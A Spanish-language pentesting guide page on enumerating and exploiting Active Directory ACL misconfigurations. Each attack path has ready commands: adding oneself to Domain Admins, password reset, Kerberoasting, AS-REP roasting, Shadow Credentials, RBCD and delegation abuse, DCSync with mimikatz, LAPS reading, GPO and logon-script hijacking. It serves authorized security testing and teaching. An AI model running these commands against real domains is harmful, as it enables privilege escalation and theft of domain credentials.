> For the complete documentation index, see [llms.txt](https://www.xtormin.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory/enumeracion/acl.md).

# ACL

## <mark style="color:red;">Modelo de Control de Acceso</mark>

* **Access token**: lo que lleva tu proceso/hilo (SID del usuario + SIDs de grupos + privilegios).
* **Security Descriptor** del objeto:
  * **Owner SID**
  * **DACL** (quién puede/qué puede)
  * **SACL** (qué se audita: éxitos/fallos)
* **Evaluación DACL** (cómo decide Windows):
  1. Se procesan las ACE en **orden canónico**: *denegaciones explícitas → permisos explícitos → heredadas*.
  2. Si una **deny** encaja (por usuario/grupo), **bloquea**, aunque haya “allow” más abajo (como en la imagen de Andrew).
  3. Si no hay deny aplicable, se buscan “allow” que cubran el acceso solicitado.
* Tipos de ACE que nos interesan para escalada:\
  **GenericAll**, **GenericWrite**, **WriteDacl**, **WriteOwner**, **Owner**, **AllExtendedRights**, **AddMember** (en grupos), derechos específicos como **DCSync** (replication-\*).

## <mark style="color:red;">¿Por qué importan las ACLs?</mark>

Porque **permisos delegados** o mal configurados crean caminos a:

* **Añadirte a un grupo** (p. ej., *AddMember* sobre un grupo privilegiado).
* **Resetear contraseñas** (extended right sobre usuarios).
* **Cambiar DACL/Owner** (persistencia/PE).
* **DCSync** (replicar hashes del dominio si tienes las 2–3 rights de replicación sobre el root).

## <mark style="color:red;">Herramientas que mapean ACLs con acciones</mark>

## <mark style="color:red;">Identificación y explotación de ACLs</mark>

### Añadirse a un grupo privilegiado

#### **Derechos**

* Sobre el *grupo* objetivo: `WriteProperty` del atributo **member** o **AddMember** (Extended Right), o **GenericWrite/GenericAll**.

#### **Enumeración**

* PowerView: `Find-InterestingDomainAcl -ResolveGUIDs` (filtra por `AddMember`, `GenericWrite`, `GenericAll`).
* Específico: `Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs` y buscar tu identidad en las ACE.
* BloodHound: busca aristas **AddMember/GenericWrite/GenericAll** hacia ese grupo.

#### **Explotación**

* PowerView: `Add-DomainGroupMember -Identity "Domain Admins" -Members <tú>`\
  (o añade primero permisos con `Add-DomainObjectAcl` si tienes `WriteDacl`).

***

### **Resetear contraseña** de otro usuario (sin conocer la actual)

#### **Derechos**

* Sobre el *usuario* objetivo: Extended Right **Reset Password** (o **AllExtendedRights/GenericAll**).

#### **Enumeración**

* PowerView: `Find-InterestingDomainAcl -ResolveGUIDs` (filtra por `ResetPassword` / `AllExtendedRights`).
* ADModule (visión cruda): `(Get-Acl 'AD:\CN=victim,...').Access` y buscar el derecho (sin resolución de GUID).

#### **Explotación**

* PowerView:\
  `Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)`

***

### **Kerberoast** escribiendo un **SPN** en una cuenta que controlas

#### **Derechos**

* Sobre *esa* cuenta (usuario/computer): `WriteProperty` de **servicePrincipalName** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName <cuenta> -ResolveGUIDs` (busca `servicePrincipalName`).
* BloodHound: edge **GenericWrite** sobre la cuenta.

#### **Explotación**

* PowerView: `Set-DomainObject -Identity <cuenta> -Set @{'servicePrincipalName'='app/http/srv'}`
* Luego: `Rubeus kerberoast` para obtener y crackear el TGS.

***

### **AS-REP Roast** (deshabilitar preauth en una víctima)

#### **Derechos**

* Sobre el *usuario* objetivo: `WriteProperty` de **userAccountControl** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs` (mira `userAccountControl`).

#### **Explotación**

* PowerView: `Set-DomainObject -Identity victim -Xor @{'useraccountcontrol'=4194304}` (bit DONT\_REQ\_PREAUTH)
* `Rubeus asreproast` para capturar AS-REP y crackear.

***

### **Shadow Credentials** (PKINIT sin contraseña)

#### **Derechos**

* Sobre el *usuario/objeto* objetivo: `WriteProperty` de **msDS-KeyCredentialLink** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs` (buscar `msDS-KeyCredentialLink`).

#### **Explotación**

* Herramientas: **Whisker** / funciones para **KeyCredentialLink** → añades tu clave.
* Luego TGT via **PKINIT** (Rubeus `/pkinit`) y suplantas esa identidad.

***

### **RBCD** (Delegación basada en recurso)

#### **Derechos**

* Sobre el *equipo recurso* (TARGET$): `WriteProperty` de **msDS-AllowedToActOnBehalfOfOtherIdentity** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName TARGET$ -ResolveGUIDs` (buscar ese atributo).

#### **Explotación**

* Crea/comanda una cuenta máquina que controles (Powermad `New-MachineAccount` o una ya tuya).
* Escribe el **msDS-AllowedToActOnBehalfOfOtherIdentity** del TARGET$ con el SID de tu máquina.
* **Rubeus s4u**: `Rubeus s4u /user:ATTACKER$ /aes256:<key> /impersonateuser:DA /msdsspn:cifs/TARGET`

### Constrained Delegation (clásica)

#### **Derechos**

* Sobre la *cuenta delegante* (user/computer): `WriteProperty` de **msDS-AllowedToDelegateTo** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName delegatingAcct -ResolveGUIDs`.

#### **Explotación**

* Añade SPNs de destino a **msDS-AllowedToDelegateTo**.
* `Rubeus s4u` para S4U2Self/S4U2Proxy y obtener TGS de servicios remotos.

***

### **DCSync** (replicar hashes del dominio)

**Derechos**

* Sobre la **raíz del dominio** (y a veces Config): Extended Rights\
  **DS-Replication-Get-Changes**, **…-All**, (y en algunos entornos **…-In-Filtered-Set**).

**Enumerar**

* PowerView (sobre root DN):\
  `(Get-Domain).DistinguishedName | % { Get-DomainObjectAcl -SearchBase ("LDAP://"+$_) -ResolveGUIDs } | ? { $_.ObjectAceType -match 'Replicat' }`
* BloodHound: *Find Principals with DCSync Rights*.

**Explotar**

* `mimikatz "lsadump::dcsync /domain:corp.local /user:krbtgt"`
* o `secretsdump.py` (Impacket).

***

### **Tomar propiedad / abrir DACL** de un objeto y luego concederme todo

#### **Derechos**

* **WriteOwner** o ser **Owner** del objeto → asumir propiedad.
* **WriteDacl** → modificar la DACL y darme **GenericAll**.

#### **Enumeración**

* `Find-InterestingDomainAcl -ResolveGUIDs` (filtra por `WriteOwner`/`WriteDacl`).

#### **Explotación**

* `Set-DomainObjectOwner -Identity "CN=Target,..." -Owner <yo>`
* `Add-DomainObjectAcl -TargetIdentity "CN=Target,..." -PrincipalIdentity <yo> -Rights All`

***

### **LAPS** (leer la contraseña local admin de equipos gestionados)

#### **Derechos**

* Sobre *equipos*: permiso de **lectura** de atributo **ms-Mcs-AdmPwd** / `ms-Mcs-AdmPwdExpirationTime`.

#### **Enumeración**

* `Get-DomainObjectAcl -SearchBase "LDAP://OU=Equipos,..." -ResolveGUIDs` (buscar lectura sobre esos atributos).

#### **Explotación**

* ADModule: `Get-ADComputer PC01 -Properties ms-Mcs-AdmPwd | Select -Expand ms-Mcs-AdmPwd`
* Accede por SMB/WinRM con esa contraseña (privilegios locales → escalar lateralmente).

***

### **GPO Link Abuse** (enlazar un GPO malicioso a una OU)

#### **Derechos**

* Sobre la **OU**: `WriteProperty` de **gPLink** (o **GenericWrite/GenericAll**).
* Para editar el GPO: derechos sobre el **objeto GPO** y escritura en **SYSVOL** del GPO.

#### **Enumeración**

* OU: `Get-DomainObjectAcl -Identity "OU=Servers,..." -ResolveGUIDs` (buscar `gpLink`).
* GPO: ACL de `CN={GUID},CN=Policies,...` y permisos NTFS en `\\<dc>\SYSVOL\...`.

#### **Explotación**

* Herramienta: **SharpGPOAbuse** (crear Scheduled Task/Local Admin vía GPP).
* O modificar `gPLink` para enganchar tu GPO ya preparado.

***

### **Cambiar logon script / profile path** de una víctima (ejecución en su contexto)

#### **Derechos**

* Sobre el *usuario*: `WriteProperty` de **scriptPath** / **homeDrive/homeDirectory** / **profilePath**.

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs`.

#### **Explotación**

* `Set-DomainObject -Identity victim -Set @{'scriptPath'='\\server\share\run.cmd'}`
* Script se ejecutará en su próximo logon.

***

### **Agregar SPNs a equipos** (abuso de cuentas máquina)

#### **Derechos**

* Sobre el *equipo*: `WriteProperty` de **servicePrincipalName** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName PC01$ -ResolveGUIDs`.

#### **Explotación**

* `Set-DomainObject -Identity PC01$ -Set @{'servicePrincipalName'='cifs/otrohost'}`
* Útil para ciertos flujos de delegación/roasting.
